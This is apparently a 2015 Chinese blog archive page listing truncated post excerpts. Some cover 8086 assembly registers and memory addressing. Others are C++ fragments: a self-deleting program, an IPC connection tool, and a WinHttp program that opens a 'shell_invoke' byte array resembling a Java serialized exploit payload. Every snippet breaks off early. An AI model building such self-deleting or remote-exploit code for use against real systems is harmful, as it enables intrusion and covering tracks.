05 2015 档案

摘要:CPU要读写一个内存单元的时候,必须先给出这个内存单元的地址。内存单元由2部分组成。8086CPU中,内存地址由以下组成。1:段地址2:偏移地址8086CPU中,有一个DS寄存器地址,通常用来存放数据的段地址。比如我们要读取10000H的单元内容,可以用如下的程序段进行。mov bx,1000Hmo... 阅读全文
posted @ 2015-05-28 11:51 杀死比特 阅读(775) 评论(0) 推荐(0)
摘要:在CPU中,用16位寄存器来存储一个字。高8位放高8位的内容,低8位放低八位的内容。在内存中存储时,由于内存单元是字节单元,则一个字需要用2个地址连续的内存来存放。则这个字的低字节存放在低字节的单元中,高字节则存放在高字节的单元中。比如以下数据:mov ax,4e20Hax是16位通用寄存器,分高8... 阅读全文
posted @ 2015-05-28 11:24 杀死比特 阅读(656) 评论(0) 推荐(0)
摘要:// delself.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include #include BOOL SelfDelete(){ char szFile[MAX_PATH], szCmd[MAX_PATH]; if((GetModuleFileName... 阅读全文
posted @ 2015-05-23 15:44 杀死比特 阅读(252) 评论(0) 推荐(0)
摘要:mov ax,001AH ax = 001AH; 将1AH 移动到ax中,值为001AH,ax为16位通用寄存器。所以得到的值为001AHmov bx,0026H bx = 0026H; 将0026H 移动到BX中,BX为16位通用寄存器。add al,bl al = 0040H BL = 0026... 阅读全文
posted @ 2015-05-21 23:34 杀死比特 阅读(279) 评论(0) 推荐(0)
摘要:// Ipc.cpp : 定义控制台应用程序的入口点。//#include "stdafx.h"#include #include #include struct ThreadParameter{ //结构体,传参 char Filename[MAX_PATH]; char szusername[M... 阅读全文
posted @ 2015-05-21 11:40 杀死比特 阅读(825) 评论(1) 推荐(0)
摘要:#include "stdafx.h"#include #include #include struct ThreadParameter{ char user[20]; char name[20];};DWORD WINAPI ThreadFunction (LPVOID pParam)... 阅读全文
posted @ 2015-05-17 20:26 杀死比特 阅读(1682) 评论(0) 推荐(0)
摘要:#include "stdafx.h"#include #include #include #include #pragma comment (lib,"Winhttp.lib")char shell_invoke[] = ( "\xac\xed\x00\x05\x73\x72\x00\x2... 阅读全文
posted @ 2015-05-09 12:11 杀死比特 阅读(2581) 评论(2) 推荐(0)